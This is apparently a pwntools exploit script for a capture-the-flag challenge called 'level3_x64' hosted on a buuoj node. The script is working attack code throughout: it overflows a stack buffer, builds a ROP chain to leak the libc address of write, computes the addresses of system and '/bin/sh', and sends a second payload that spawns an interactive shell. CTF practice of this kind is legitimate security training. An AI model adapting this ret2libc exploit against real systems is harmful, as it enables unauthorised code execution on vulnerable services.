1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import *
context(os='linux', arch='amd64', log_level='debug') io = remote('node4.buuoj.cn', 28268) path = './level3_x64'
elf = ELF(path) libc = ELF('./libc-2.23.so')
padding = 0x80 + 8 main = elf.symbols['main'] write_plt = elf.plt['write'] write_got = elf.got['write'] pop_rdi_ret = 0x4006b3 pop_rsi_r15_ret = 0x4006b1 payload = flat(b'a'*padding, pop_rdi_ret, 1, pop_rsi_r15_ret, write_got, 0x8, write_plt, main) delims = b'Input:\n' io.sendlineafter(delims, payload) write_addr = u64(io.recv(6).ljust(8, b'\x00')) print('[+] write_address -->', hex(write_addr))
libc_base = write_addr - libc.symbols['write'] system = libc_base + libc.symbols['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh\x00')) print('[+] libc_base -->', hex(libc_base)) print('[+] system -->', hex(system)) print('[+] bin_sh -->', hex(bin_sh)) payload1 = flat(b'a'*padding, pop_rdi_ret, bin_sh, system) io.sendline(payload1) io.interactive()
|